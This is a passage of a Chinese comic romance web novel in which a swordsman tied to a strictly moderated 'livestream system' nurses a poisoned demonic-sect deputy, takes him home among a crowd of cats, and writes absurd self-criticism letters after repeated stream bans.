“谢副使,在下的名姓,你已经知道了。”赵惊弦说,“我无门无派,有个师父,年逾古稀,已经归隐,放心,他身体硬朗,不喜欢他人照顾,绝不会让你与他住在一块的。”
谢厌:“……”
“早年行走江湖时,我存了点钱,足够你我二人度日。”赵惊弦道,“我还有一间竹庐,五室一厅,一厨一卫,带个小院,竹庐地下,还有我挖出的超大藏剑室,足以摆放千柄宝剑。”
谢厌:“……”
赵惊弦:“我知道谢副使你用刀,回去我便改改屋子,在另一侧给你一个藏刀室来。”
谢厌:“你有病吧?”
赵惊弦:“啊?没有啊,在下身体康健,无病无痛,一顿能吃两碗饭。”
谢厌:“……”
“在下也没什么喜好,平日就爱练剑摸剑擦剑看剑谱。”赵惊弦又道,“我是个剑痴,除此之外,绝无不良嗜好,也没有断干净的前任,在下还是初——”
谢厌:“滚!”
赵惊弦一顿,有些委屈,小声嘟囔:“难道谢副使不喜欢没有经验的?”
谢厌:“……”
“你这种正道……咳……正道小人。”谢厌气得发抖,“我与你,绝无可能!”
“谢副使,话不能说得这么死,你我还只是初识。”赵惊弦道,“这种事情,总得亲自试一试再说。”
谢厌咬牙:“若不是今日我有伤在身,我非杀了你不可。”
“不可能。”赵惊弦说得很是笃定,“你今日就算没有伤在身,也杀不了我。”
谢厌:“……”
提起此事,赵惊弦还很是自豪:“我练剑多年,这江湖上,没有任何人能轻易杀了我。”
谢厌:“……”
谢厌没有反驳。
很好,赵惊弦觉得这是个不错的开始。
若要自我介绍,他还有许多话能说,他这人虽有不少缺点,可也不曾到拿不出手的地步,特别是他的剑,江湖之上,绝没有人能在剑术上超过他,这可是他江湖第一的门面,这种刻苦十几年才得来的成就,他当然要——
谢厌忽而捂住自己的嘴,用力咳嗽了起来,有血迹自他的指缝间渗出,偏这咳嗽还怎么都停不下来,将赵惊弦吓了一跳。
也几乎在同时,他抬眼瞥了眼半空字迹,正好看到了几行字飘过。
【哈哈哈哈哈这是什么喜剧节目吗?】
【不会是被气吐血了吧?】
【啧换了我也得被气吐血。】
【战损美人,嘿嘿,战损美人,嘿嘿】
赵惊弦:“……”
是啊,谢厌还有伤在身,这不会是被他气吐血了吧?!
赵惊弦有些紧张。
他小心翼翼到谢厌身边,紧张问:“谢副使,你这是——”
谢厌脸色惨白,呼吸急促,克制不住蜷缩身体,方弯腰下去,又有一大口血从他口中涌出,溢出指缝,溅在地上。
赵惊弦这才觉得不对,谢厌咳出的血色发黑,绝不是寻常内伤,方才魔教中人说谢厌将要毒发,这该不会就是他毒
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发之时的症状吧?
赵惊弦伸手去搀扶谢厌,谢厌竟没有推开他,只是紧咬牙关,像是疼得狠了,额上全是冷汗。
赵惊弦不通医理,此事紧急,还拖延不得,就算弄醒余渡,一时也不能缓解毒性,他只有一个办法了。
赵惊弦问:“谢副使,你还有力气起身吗?”
谢厌像是没有听见赵惊弦的话……也是,赵惊弦想,若一人真在极痛苦的时刻,周遭的所有异动声响,他大约都是听不见的。
赵惊弦只能先握住了谢厌的手,缓缓渡了些许真气过去。
这仅是暂缓之法,持续不了多久,过了一会儿,赵惊弦见谢厌的脸色似乎和缓了一些,他方轻声唤:“谢副使?”
谢厌勉强睁眼瞥了他一眼。
“还有力气起身吗?”赵惊弦道,“我传功助你抑毒,你且配合我运功。”
谢厌:“……”
-
此事对习武之人来说,绝对是下下策。
传功压毒之事,极为损耗内力,江湖之上,若非至亲之人,常人绝不会愿意为他人传功抑毒的。
偏生谢厌这毒还极为猛烈,赵惊弦费了许久功夫,才勉强将谢厌毒发的症状压了下去。
此事耗费了赵惊弦近半内力,以至他自己也有些疲倦,谢厌则出了一身冷汗,一时昏睡不醒。
赵惊弦本也该调息打坐,尽快恢复自己消耗的内息,可他又听见细微声响,回首一看——余渡竟然又醒了。
赵惊弦只好起身,谢厌还在昏睡,他不想打扰谢厌,便拽起了余渡,将余渡拖到了外头去。
余渡吓得瑟瑟发抖,可这一回赵惊弦封了他的哑穴,他叫不出声,只是含着泪簌簌发抖,希望赵惊弦能够放过他。
赵惊弦当然不明白他这神情的缘由。
他只能耐心为余渡解释,希望余渡能够帮一帮他。
“谢厌身受重伤,我已为他包扎了伤口。”赵惊弦说,“可他还中了毒,我不懂医术,不能为他解毒,只得先运功将毒性压下去。”
说不出话的余渡,惊讶瞪大了双眼。
“余小兄弟,你是大夫,谢厌的毒……还要麻烦你。”赵惊弦低下脑袋,有些局促,“今日赵某再三冒犯,三次打晕了你,若你心中有恨,待他清醒后,你想怎么打我都行。”
余渡眨眼。
赵惊弦还觉得这代价不够,只要谢厌康复,便能保住他的剑,宝剑盲盒也近在眼前,他愿意为了他的爱剑付出更多,赵惊弦便又说:“只要能治好他,你捅我三剑也行。”
余渡激动用力眨眼。
他看起来有许多话想说,可怎么也不能开口,赵惊弦这才想起自己点了余渡的哑穴,他匆忙为余渡解穴,还来不及道歉,余渡已按捺不住心中激动,焦急提问。
“你刚才只是在给他包扎伤口?”余渡语调激动,像是试探,“赵大哥,谢厌这种大恶人,你如果救了他……”
赵惊弦:“正邪而已,我不在意。”
余渡:“那你对他……”
赵惊弦瞟着半空飘过几条激动不已的弹幕与增加的积分,毫不犹豫道:“爱慕多年。”
余渡:“你今日来此,是特意……”
赵惊弦:“为了救他。”
余渡略抽了口气:“若他药石无医……”
赵惊弦认真想了想。
“我心如磐石,不可转移。”赵惊弦说道,“若他药石无医,我绝不会再爱上第二个人。”
——但一定会爱上很多把剑。
——人有什么好爱的,还是剑比较让人动心。
余渡猛地吸了口气。
“起猛了,有些头晕。”余渡喃喃说道,“江湖上原来还有这么纯粹的爱情啊。”
赵惊弦:“?”
“赵大哥!”余渡用力拍着自己的胸口,“追爱而已!我一定能帮你!”
赵惊弦:“我……”
“交给我吧!一定会成功的!”余渡大声重复,“谢副使,一定会爱上你的!”
赵惊弦:“……”
5. 同骑共乘
赵惊弦请余渡先为谢厌把脉诊治,而他则趁着这机会,仔细翻了翻了这个古怪直播间的规则。
直播间那些文字规则出现时,他只囫囵吞枣扫了几眼,看得并不仔细,如今逐字逐句看下来,他才发现自己好像掉进了一个惊天大坑里。
首先,写在一切规则之上的,是一行加粗关于直播亲密行为的重点标识。
赵惊弦第一次浏览直播规则时,这行字并未出现,大概是因为他接连被规则惩罚,直播间内才多出了这么一行提示来。
【注意:本直播间禁止一切脖子以下的亲密行为,如果有脖子以下的亲密接触,请自行利用打码功能进行消声遮挡,若有违规,审核员将对直播间进行封禁处理。
累计获得三次封禁惩罚,系统将清除所有直播积分,并进行一次直播惩罚。】
【直播惩罚公告:审核员KJZ已对该直播间进行封禁1小时处理,请结合直播间审核标准进行自查修改,填写书面检讨报告,该报告可通过积分商城免费兑换的火盆提交。】
赵惊弦:“……”
什么?还要写检讨?!
他飞快打开直播系统内的可兑换的商城,第一次看这东西时,他的注意力全在后头那令人心荡神移的宝剑盲盒上,完全没注意过前面竟然还有这么多稀奇古怪的玩意,除了乱七八糟看起来就没用的丹药、各类画册,以及直播间规则所提及的火盆外,商城内……竟然还有999积分一块的老婆饼。
他要这玩意做什么?这名字这价格,真不是在故意嘲讽他吗?
赵惊弦沉默关闭直播商城,再仔细看了看剩下的直播规则。
其余的直播规则倒还算正常,他也找到了关闭直播的办法,系统规定,直播时间在1小时以上,才能够正常结算积分奖励,否则所有由观众打赏获得的积分,都会在直播关闭后清零。
除此之外,直播系统还会发布各类任务,这些任务可大致分为两类。
无法完成将受到积分惩罚的限时/非限时任务,以及并不强制,但完成后将会获得大量奖励的高难度任务。
他最初接到的那个寻找谢厌的任务,就是强制性的限时任务,只是作为入门的最初任务,没有积分奖励,后来每一次直播都是被审核强制关闭的,以至于直到现在,他的商城积分,还只是零。
看到这里,赵惊弦总算对这个直播系统大概有了了解,所以为了保住他的爱剑,他回家之后还得去写这那该死的检讨,至于那用来焚烧检讨书的火盆,他也得回去再换。
出门在外,要扛着一个行动不便的谢厌,就已经很让他困扰了,若是再多一个火盆,他也不知道该往哪儿放,总不能交给余渡,让余渡背回他的竹庐中去吧?
赵惊弦收起直播的规则描述页面后,正巧看见系统发布了下一个强制性的直播任务。
【限时直播任务:达成直播间粉丝数 10
任务倒计时:三天
请主播注意:强制性任务若未完成,将进行直播惩罚】
还好,此事看起来不算太难,赵惊弦并没有觉得太惊慌。
赵惊弦又瞥了一眼观看人数。
他看直播规则时的模样,在外人看来应该是在发呆,本就寥寥的观看人数最终只剩下一人,眼前原本还会飘过几行弹幕,现在却连一个字也见不着了,可这不重要,反正还有三天,等他回到他的竹庐,那可就是他的主场,区区十个粉丝而已,还能难得倒他?
赵惊弦自信返回破屋,看见了仍在为谢厌把脉眉头紧皱的余渡。
破庙内实在脏乱,并不适合重新包扎谢厌的伤处,余渡只是看了看谢厌所中的毒,便已神色凝重,见赵惊弦进来,他叹了口气,很是迟疑:“赵大哥……”
赵惊弦:“直说便是。”
“他这毒……我以前从没有见过。”余渡说道,“看起来并不致命,更像是用来折磨人的慢毒。”
赵惊弦:“……折磨人的慢毒?”
他一瞬想起了谢厌背上的伤。
数道鞭伤的痕迹交叠在一块,不知是几次受刑才会留下的结果,看伤痕不足以致命,也很像是折磨。
“从脉象来看,此毒已入筋脉,与体内真气内力相斥,每隔几日便会发作,发作时形如废人,极为痛苦。”余渡皱眉将自己的手从谢厌腕上移开,“他如今白发,应当是毒发的表征,有些异毒是会有这种特点,在体表之上有些征兆,待这几日毒发过去,便可复原。”
赵惊弦不由看了看谢厌那完美适配剑客的白发。
谢厌仍在昏睡,散乱的白色长发染了血污,方才毒发时的冷汗,将几缕发丝沾在脸侧,与几乎干涸的血迹混在一块,甚是狼狈。
赵惊弦原是很羡慕这白发的。
可听余渡的意思,这白发得用一身武功去换,再想想谢厌毒发时的痛苦……罢了罢了,他也不是非要把这玩意整成白色的。
赵惊弦问:“此毒可有解法?”
余渡摇头小声说:“我医术不精,看不出什么解法。”
赵惊弦:“……”
赵惊弦曾在落梅山庄小住过数月。
落梅山庄闻名江湖的神医余清晚,是余渡的兄长,他常年在外云游,大多前往落梅山庄求医的病人,都是余渡治好的,余渡见多了江湖上的奇毒怪病,像今日这般搭脉后便直言束手无策……赵惊弦倒还是头一回见。
“若要解毒,我得费许多功夫寻药验证。”余渡刚才还自信一定能助赵惊弦追爱成功,此时却发觉自己连谢厌身上的毒都解不了,他很心虚,喃喃嘟囔了几声,又立即提出了新建议来,“赵大哥,不如写信给我兄长,请他过来吧。”
赵惊弦点了点头。
虽说余清晚极为厌恶邪道恶人,可赵惊弦与余清晚可是生死之交,若他在信中恳求,他想余清晚应该会答应。
恰好上回相见时,他与余清晚定下了半岁相会之约,算算时间,也该到日子了,这两件事都不宜拖延,回去之后,他立即便办。
-
赵惊弦来时只有一匹快马,谢厌昏迷不醒,自然要与他同乘,至于余渡,便只能自己一人,想办法走到他的家里去了。
分别之时,
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余渡帮他将谢厌搀扶出破庙,不好意思小声说:“赵大哥,还有一事,我此番离庄是偷跑,我听说正邪两道在围堵谢厌,想来看这个热闹,我大哥并不知——”
赵惊弦接过谢厌的手,将谢厌拉上马背,如麻袋一般搭在了马屁股上。
余渡:“……”
余渡将后半句话咽了回去。
赵惊弦的动作看起来倒很是小心,扶着谢厌的手避开了谢厌身上伤处,可谢厌长发散乱,倒栽葱一般齐刷刷往下,双手无力垂下马背,令余渡欲言又止,几番张唇,也只是勉强问:“你就这么……运他?”
“当然不是。”赵惊弦倒还理直气壮,“这未免也太危险了一些。”
余渡松了口气。
赵惊弦:“我会多捆上几道的。”
余渡:“?”
捆什么啊?!
这人到底想要做什么!!!
赵惊弦道:“你放心,此事我经验丰富——”
余渡急匆匆打断他:“经验丰富?”
赵惊弦:“行走江湖,总难免要如此。”
余渡:“……啊?!”
赵惊弦迷茫不解:“你们捉到贼时,不将他捆在马后背运送官府吗?”
余渡:“……”
余渡:“……你就不能抱着他吗!”
赵惊弦:“?”
-
赵惊弦甚是沉默地想了想余渡所说的那个画面。
骑马抱人……这……
常人也做不到握着缰绳的时候公主抱吧?
他抬起手,极为勉强地比划了一下他想象中那个别扭的姿势,又飞快将手放了下来,尴尬道:“确实不太好。”
余渡松了口气。
“后边颠巴颠巴就下去了。”赵惊弦说,“我还是把他捆在前面吧。”
余渡:“……啊?!”
-
余渡努力指点许久,才终于教会了赵惊弦同骑的“要诀”。
此事说来简单,不过是将人环在怀中而已,谢厌如今昏迷,正好靠在赵惊弦怀中,以免他全无知觉,不小心从马上坠下去。
赵惊弦颇不自在按着余渡的建议调整姿势,他将一手环过谢厌的腰身,握住缰绳,另一手无措抵着谢厌的肩,很是勉强:“这样骑马……有些困难。”
余渡:“……你扶着他的腰。”
赵惊弦:“……”
赵惊弦伸手到谢厌腰间,却又想起谢厌腰上有伤,他凭着记忆上下移动那只手的摆放之处,终于想起一处安全之地,谢厌腰下髋骨两侧并未有伤,他飞快将手下移,方才触及谢厌腰下一侧——
【倡导绿色直播,建设文明网络,健康的网络环……】
【审核员KJZ已对该直播间进行封禁3小时处理】
赵惊弦:“?”
不是,啊?
他干什么了?
扶着腰而已,这也不行吗?!
警告公示都还没出完,审核怎么就把他的直播间锁了?
你们审核到底是什么程度的超绝敏感肌啊!
6. 直播惩罚
赵惊弦很难维持冷静。
从他见到谢厌算起,至今也还未过三个时辰,可该死的审核已经把他的直播间封了两回,而按他刚才所看的直播间规定来说,他的直播间只要再被封禁一次,就会受到一次直播惩罚,直接失去一柄自己的藏剑。
他承受不起这样的损失,为了避免这类惨案发生,接下来只要直播开启,他就必须与谢厌保持一段合适的距离,如果一定要朝谢厌靠近,他就得用上直播间自带的打码功能,或者干脆关闭直播间,在没有审核的地方,偷偷做一些本该可以光明正大做的事情。
可恶啊,这真的是在谈恋爱吗?!
他是成年人了,成年人谈恋爱,就不能从12R进入18R吗!
赵惊弦握紧了手中的缰绳,飞快在心中计算了一下时间。
他的直播间被封禁了三个小时,那也就是一个半时辰。
在这么短的时间内,他不可能带着谢厌赶回家中,路上他又必须搂着谢厌的腰……看来他只能暂先关闭直播,等到将谢厌在家中安顿好后再说。
……该死,赵惊弦已经开始头疼了。
他一人快马赶回家中,只需要半日。
可带着伤重受不得马上颠簸的谢厌,这时间便至少要延长一倍,若再遇见几个追杀谢厌的人,所费时间恐怕还要更久。
他有一个限时三天的直播任务,去掉路上不能播的这段时间,那就是要他在不到两天的时间里,攒下十个粉丝。
原本还很自信的赵惊弦,有了几分压力。
“对了,还有一件事。”余渡摸出几瓶伤药,递给赵惊弦,“赵大哥,我脚程慢,可能要三四日才能到你家中。”
赵惊弦心中计算着时间,胡乱点头。
“谢厌身上的伤,要尽快处理。”余渡说,“伤处清理干净后再上药包扎,赵大哥,干净的纱布,你家中应当有吧?”
赵惊弦:“……”
纱布他当然有,包扎用的伤药也一应俱全,可问题在于……给谢厌清理伤口要脱衣服,脱衣服这种事——
该死,这也不能播啊!
他原本就只有不到两日时间,再刨去两日内给谢厌清理伤口和换药的功夫,留给他用于直播的时间寥寥无几,在这么短的时间内,要他凑齐10个粉丝?
这不就是在难为他吗?!
你们恋爱直播间就不能分级吗!
连手都不能碰的恋爱,到底是谁爱看啊。
这念头才在赵惊弦脑中一晃,审核处罚的红字之下,忽而又现出了一行新的小字来。
【如需更改直播间分级,请提交分级更改申请书。】
【申请书可在积分商城内兑换,通过积分火盆焚烧递交。】
赵惊弦立即来了精神,完全顾不上余渡还在马边小声念叨,嘱咐他包扎伤口必须注意的诸多事项。他飞快打开积分商城,找到了显然刚刚才在兑换品中出现的「分级申请书」。
【价格:666积分】
赵惊弦:“……”
不想让他兑换就直说啊!
他连10个粉丝都凑不出来,让他去哪里弄出这么多积分换这个狗屁申请书!
赵惊弦飞快扫了一眼这分级申请书的具体描述。
【请根据附件中的填写模板,逐项填写申请书内容,务必核对申请人信息,认真填写申请理由。
「附件1:分级申请书填写模版」「附件2:填写注意事项」
注:18岁以上分级直播间暂时关闭,不对主播所在绿色世界开放。】
赵惊弦:“?”
不对,等等。
什么绿色世界?谁在绿色世界?
他现在不喜欢绿色了,能让他换一个颜色更加鲜艳的世界吗?
“赵大哥?你在听吗?”余渡举着一个小药瓶,踮起脚伸手在他眼前晃了晃,大声说道,“谢厌这几日若是再毒发,你将这药喂给他,或许能让他好受一些。”
赵惊弦认得,余渡递过来的,是落梅山庄珍藏的灵药莲华散。
这药能暂且缓和毒性,功效虽不如直接运真气为谢厌抑毒,可若谢厌频繁多次毒发,赵惊弦的内力难以为继时,这药便可以派上用场了,至少能让谢厌的痛楚稍微减缓一些。
“赵大哥,谢厌如今是江湖之敌,不知有多少人想杀了他,你要保护他,还是不要过度损耗真气了。”余渡清了清嗓子,根本按捺不住心中激动,“赵大哥,我相信你!”
赵惊弦:“……嗯?”
余渡:“你一定能追爱成功,与谢副使携手一生——”
赵惊弦:“有点难。”
余渡:“哎?”
“我觉得。”赵惊弦深深叹气,“携手可能不让播。”
余渡:“?”
-
谢厌不知自己究竟昏昏迷了多久。
他毒发时体力透支,总得昏睡许久,醒来时便是下次毒发,如此循环上六七日,毒性方能暂时退却,蛰伏于筋脉之中,不知何时便再要发作。
他已经被这毒折磨了一年有余,早已将这套流程熟记于心,可这一回……却显然与以往不同。
意识恢复时,谢厌还闭着眼,默默等着下次毒发时的痛楚到来,可体内的毒性却像是被压制住了一般,没有一点要发作的迹象。
他听见身边窸窸窣窣的声响,意识到自己正躺在一张柔软的床榻上,这才极为疲惫睁开眼,眼前青纱床幔微晃,他微微侧首,看见了竹窗下小桌旁奋笔疾书的赵惊弦。
赵惊弦身边已丢了许多揉成团的废纸,他看上去极为苦恼,口中念念有词。
“我检讨,我不该到处乱摸。”赵惊弦喃喃说,“治伤包扎这种事,还是得让医生来。”
谢厌:“……”
“不行,包扎怎么算是乱摸,没做过的事,我不能认。”赵惊弦将面前的纸页揉皱团起,丢到一旁,痛苦万分,“要不还是先写信吧。”
谢厌勉力想要起身,可惜他身上全无气力,连动弹都甚是困难,只好再闭目养神,希望能够再恢复些气力。
他闭上了眼,却不能不听四周的声音,偏偏赵惊弦这人连写信时也要不住念叨,谢厌闭着眼,那些话却一句接一句往他耳朵里钻。
“余兄敬启。”赵惊弦小声说,“听闻月前你外出游历,不知近况如何,你我半岁之约已过,我这里很需要你……不行,还得再急切一些……余兄,江湖救急,我的一个朋友身中……我有一位好友重伤濒死……啧。”
赵惊弦似乎很不满意,他停了笔思考,很是苦恼。
从听到的寥寥几句话语猜测,谢厌觉得赵惊弦大概是在给神医余清晚写信,而信中所谓重伤的“好友”……
指的应该是他。
谢厌的心情有些古怪,赵惊弦看起来真的是在关心他,可他已经在这种事情上栽过一次跟头了,他总不能再被骗上第二轮。
赵惊弦这样内力深厚的人,不可能察觉不到近旁昏迷之人清醒。
他故意念出信中字句,或许只是算计与手段。
这不过又是一场作秀。
不过是同他师兄一般,故意乔作情深,将一切演得矫揉造作,好骗他不再提防——
竹窗下的赵惊弦,终于想好了信中措辞。
“有了。”赵惊弦自言自语,“先将人骗来再说。”
谢厌竖起耳朵,想听一听这人还能编出什么话来。
赵惊弦稳健落笔。
“救救我救救我救救我救救我……”赵惊弦执着且飞快写道,“余哥求你了救救我救救我救救我救救我——”
谢厌:“……”
是他错了。
他不该用常人的思维来揣度赵惊弦的思路的。
常人在昏睡之人身边写信,还故意要念出声可能是心有算计,可赵惊弦不一样。
这位正道第一剑客——
他就是单纯有病。
-
谢厌终于恢复了些体力。
他试图起身时,赵惊弦正将信件封口收好,听见了声响,回身朝谢厌看来。
“这是何处?”谢厌勉强起身,靠在床头,声调虚弱,“你怎么还在这儿?”
他说话总是带刺,这毛病已有多年,他也并不打算改正,至少这样可以将大多心怀不轨之人隔绝在外。
赵惊弦一点也不介意,他完全没有听出谢厌的弦外之音,他收起写给余清晚的信,热情向谢厌介绍:“谢副使,这是我隐居之处,欢迎你来我家——”
门外传来尖锐之物划过门框的怪异声响,赵惊弦一顿,仍不打算停下话语,执着道:“你安心养伤,放心,这里很安全——”
划拉木门的声响激烈了一些,听得人颈后发麻,谢厌正要问那是何物时,门外又传来数声各异的可怜叫唤。
“咪咪……”
“喵……”
“啊!啊哦!”
谢厌:“……”
谢厌蹙眉看向了赵惊弦。
“这……”赵惊弦尴尬挠了挠脑袋。“对不起,谢副使,是我骗了你。”
事至如此,赵惊弦只能认账。
谢厌问:“猫?”
赵惊弦低下头,摆出一副诚恳认错模样:“相亲的时候我说了谎。”
谢厌:“谁和你相亲了?!”
赵惊弦:“我是第一次,有些紧张,没想好……怎么解释这件事。”
谢厌恨恨咬牙:“我没和你相亲!”
“毕竟你们邪道人名声在外,听说连路边的花花草草都想弄死……”赵惊弦越说越觉得没有底气,“保不齐会有什么虐待动物的小嗜好……”
谢厌挑眉:“谁说的?”
赵惊弦正想回答,外头的猫儿却叫得更激烈了,听得谢厌心烦意乱,焦躁摆手:“开门。”
赵惊弦立即起身,走到门边,拉开了房门。
门边仅出现些空隙时,已有个黑白相间的脑袋喵喵喵大叫着迫不及待挤了进来,好奇瞪圆了眼睛,努力朝屋内张望。
它身后跟着两只几乎一模一样的橘色小猫,进门后便贴着赵惊弦的脚边乱蹭,将自己的头毛蹭得异常凌乱,房门完全拉开之后,谢厌才看见门外还蹲着一只极为端庄的玄猫,一片猫猫混乱中,它自岿然不动,只是半眯起眼睛,用万分狐疑的目光打量着谢厌这个陌生人。
谢厌几乎脱口而出:“这么多?”
赵惊
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弦挠了挠脑袋:“其中一二吧。”
谢厌:“……”
“我也不想如此……”赵惊弦小声说,“附近的猫总聚集在此……这……这种东西,一不小心就越来越多了……”
他的解释听起来苍白无力,可这种事无关紧要,谢厌还是弄不清赵惊弦到底为什么非要缠着他不放,他需要赵惊弦给他一个解释,一个没有胡言乱语的真实答案。
谢厌攒眉:“赵惊弦,我有事想问——”
一只橘猫跳上了他的床。
谢厌:“想……想问你。”
赵惊弦:“嗯?什么事?”
另一只橘猫也跟着跳上了床。
一只橘猫歪着脑袋看他,另一只更是直接将爪子搭在了他的膝上,自信抬首伸直了脖颈,奶声奶气冲他喵了一声。
谢厌僵在了原地。
谢厌:“……”
小橘猫:“喵。”
谢厌:“……”
小橘猫:“喵?”
谢厌:“……”
小橘猫:“喵……”
赵惊弦微微弯起唇角,有些克制不住自己笑意。
他原本觉得谢厌这人脾气太差,很像是正道刻板印象中连路边的小草都要碾死的恶人,可现在看来,谢厌好像只是——
等等。
赵惊弦敏锐察觉到了事情的转机。
江湖人说谢厌是个美人。
美人与猫,这不是绝好的直播题材吗!
赵惊弦毫不犹豫开启了直播,立即走到谢厌床边,好让谢厌和猫一块出现在他的直播画面里。
第一只小橘猫在谢厌面前来回扭动来回打滚,另一只依旧用爪子搭着谢厌的膝盖,仰着头嗲着嗓子冲谢厌叫,可谢厌一动不动,只是沉默看着它们,甚至还皱起了眉,似乎有些嫌弃。
可在直播打开的那一瞬间,赵惊弦便看见了几条久违的弹幕,从他的眼前飘过。
【新直播?】
【啊啊啊美人与猫!】
【这么多猫猫!】
【天啊终于开播了!还以为我大浪淘沙好容易找出来的漂亮主播一天就放弃了QAQ】
赵惊弦很得意。
他就说这是个绝佳的好机会,没有人能拒绝这么可爱的小猫,虽说他这是个恋爱直播间,可对现在的赵惊弦来说,恋不恋爱根本不重要。
剩下的时间已经不多了,哪怕全靠小猫卖萌也好,他必须得先将任务要求的10个粉丝凑齐。
他还是不敢在直播开启时碰到谢厌,便站在床边五六尺外,小心翼翼说:“放心,不咬人。”
有两脚兽帮腔,小橘猫立即得寸进尺,它用两只爪子扒着谢厌的膝头,伸了一个极大的懒腰,而后顺其自然咚地倒在谢厌腿上,伸开爪子露出覆着白色绒毛的粉嫩肚皮,柔软地扭出一个完美弯曲的弧度。
照常理说,这招屡试不爽,无论是喂饭两脚兽还是两脚兽的朋友,从来没有人类能拒绝它的撒娇技巧。
可谢厌无动于衷。
谢厌沉着脸色微微侧首,神情看起来比刚才还要疏离冷淡,也不愿伸手去碰腿上的小橘猫,冷冰冰说:“你就让这种脏东西上床?快抓走。”
赵惊弦:“这……”
“我不喜欢……”谢厌顿了顿,语气生硬改口,“我讨厌猫。”
小橘猫:“……喵?”
-
小橘猫虽然听不懂两脚兽在说些什么,可从这个陌生两脚兽的表情上来看,它好像被拒绝了。
喵生两载,它从未有过如此屈辱的时刻,连它打架输给村里的大黄二黄和三黄时,它都没有这般受挫过。
可喵努力,喵坚强,喵绝不能让两脚兽看出悲伤。
小橘猫缩回爪子,冷静退下两脚兽的膝头,蹲在床尾,停顿片刻,假装若无其事地又伸了个懒腰,坐在床尾,劈开双爪,开始舔自己的尾巴毛。
它正对着谢厌和赵惊弦,努力用爪子抱着自己的尾巴,费劲舔了片刻,却还不足以缓解它的尴尬,于是它将脑袋埋得更深,顺带将尾巴间连着肚皮都努力舔了一遍。
赵惊弦没有注意小橘咪的尴尬,他看着半空飘过的字幕,肉眼可见正在增加的观看人数,觉得自己的决定果然没有错。
小猫是世界宝藏。
他以后的直播日子,都得抱着小猫过!
可赵惊弦的快乐,仅仅只持续了短暂的片刻时间,那行熟悉的惩罚红色大字,忽然又在他的面前出现了。
【倡导绿色直播——】
【审核员KJZ已对该直播间进行封禁处理,违规封禁已累积三次,主播将触发一轮直播惩罚,请主播在10分钟内挑选将要失去的宝剑】
【封禁理由:过于直白的裸/露画面】
赵惊弦:“?”
啊?什么裸/露画面?哪有裸/露画面?
赵惊弦茫然转过头,先看向靠在床头捂得严严实实的谢厌,又伸手摸了摸自己整整齐齐的衣襟,最后将目光落在了岔开腿费劲舔着肚皮的小橘猫身上。
赵惊弦:“……”
赵惊弦:“…………”
不是吧?
猫舔蛋你都要管?!!!
7. 在吗,看看猫?
赵惊弦恨恨咬牙。
系统让他自行挑选将被罚走的剑,否则他的藏剑将随机消失一柄,虽说爱剑不分高低,老婆他全都喜欢,可他的藏剑之中还有他用不惯的巨剑软剑双剑,如果一定要罚,还是先从这几样中下手吧。
赵惊弦顾不上尴尬的小橘猫与迫切希望他将猫抓走的谢厌,急匆匆转身离开这间屋子,奔去了他的藏剑室。
等他含泪选完将要被罚走的软剑,系统提示他还需要补上这三次封禁的检讨,写完后再提交一份关于直播规则的答卷,才能重新为他开启直播间。
赵惊弦掐指算了算,检讨书实在太难写了,直播规则答卷也不知道是个什么玩意,他大概是赶不上那个限时任务的期限了,赵惊弦只能含着眼泪,又挑出另一柄巨剑,摆在藏剑室门边最显眼的位置,方便下次惩罚时拿取,这才拖着疲倦的步伐,回到了刚才的房间。
“对不住。”赵惊弦解释道,“方才有些急事,我……”
他看向床榻之上的谢厌,微微一僵,匆忙快步走了过去。
谢厌闷头正盖着被子闭目假寐,而他的被子上——
挤满了大大小小好奇的猫。
谢厌身上有伤,赵惊弦的猫大多很沉,小爪子踩人格外疼痛,赵惊弦匆忙一手一只捞起最圆润的那两只橘猫,无视小橘猫蹬腿扭腰等表达不满的动作,将它们放到了地上。
谢厌这才睁开了眼,赵惊弦抱起蹲在他胸口的乌云踏雪,极无奈问:“你身上有伤,就不觉得疼吗?”
谢厌:“关你什么事。”
说完这话之后,谢厌移开了目光,侧首看向床头,却又恰好与边上的玄猫对上了目光。
玄猫依旧半眯着眼注视着他,这模样更像是监视,也不知是不是看出了谢厌心中的想法,等赵惊弦将另外几只猫都丢下床后,它才懒洋洋起身,冲着赵惊弦摇了摇尾巴,自己跳下了床。
赵惊弦又道:“既然不喜欢猫,将它们赶走就好。”
谢厌冷哼一声,恶狠狠骂道:“……要你管我!”
赵惊弦:“……”
谢厌已不再说话了,他闭眼扭头,反正避开了赵惊弦的目光,看起来倒是倦累不已,想要休息。
赵惊弦心中惦记着他那三封检讨书,他不再继续打扰谢厌,走到竹窗下的桌案前,拿起他丢在桌案上的配剑,对着依旧围聚在床边的猫儿们摇了摇他的剑穗。
赵惊弦的剑穗上总是系着两个小铃铛,他一动那剑,铃铛声轻轻作响,两只小橘猫已率先猛冲了过来,毫不犹豫扑向了他的剑柄。
其余小猫虽然没有那么激动,可好歹也都过来了,不会再去骚扰谢厌,赵惊弦这才深深吸了口气,开始面对令自己倍加痛苦的检讨书。
赵惊弦已经很久没有过写检讨的经验了。
第一次被直播封禁,是他为了谢厌包扎伤口,脱了谢厌的衣服,还搂着谢厌,让谢厌靠在他怀里,好看谢厌背上是不是也有伤。
这一回他们确实有“肌肤之亲”,可那时他心无他念,他不觉得自己做了什么错事。
可检讨总不能这么写,就算他没有过错,他也得编出什么错处来。
赵惊弦用力挠头,磕磕巴巴往下写。
【我不该直播包扎伤口,画面血腥,裸露太多,不符合网站的直播规范,如有下次受伤,一定改正,交给大夫治疗,绝不自己动手。】
赵惊弦又编了些套话,勉强凑了个三百字,签下自己的名字,只觉自己山穷水尽,再多一个字也挤不出来了。
第一封检讨糊弄完了,可第二封呢?
第二回他干了什么?
他在马上搂着昏迷不醒的谢厌的腰,可他那是害怕谢厌跌下马去啊?这事他难道也做错了?
他承认,他扶着谢厌腰的时候,手是稍微有些靠下,可那也就只到髋骨的位置,他甚至还没摸到谢厌的腿,他一点也不觉得自己做错了,就算让他硬编,他也不能……
等等,有了!
赵惊弦自信落笔。
【行马不规范,亲人两行泪!
我不该违规骑马载人,不该单手握住缰绳,更不该用前座载着昏迷不醒的伤员,只用手搂着他的腰。】
他继续一通瞎编,狠狠检讨了自己交通违规的行为,结束了第二封检讨。
很好,赵惊弦觉得自己已经把握住了写检讨的关键,第三封检讨自然手到擒来,他立马就能编好。
赵惊弦如有神助,奋笔疾书。
【科学养猫,适龄绝育,有病就医,从你我做起!】
没错,绝育。
这两只橘猫是前段时间跟着玄猫从临近的村子里过来的,看起来已是成猫,具体年岁他还不清楚,走起路来那两个铃铛着实惹眼,又比普通公猫要大,他本想与余清晚半岁之约到来之际,请江湖神医余清晚代他执喵喵绝情刀,一举斩断小橘的红尘纷扰。
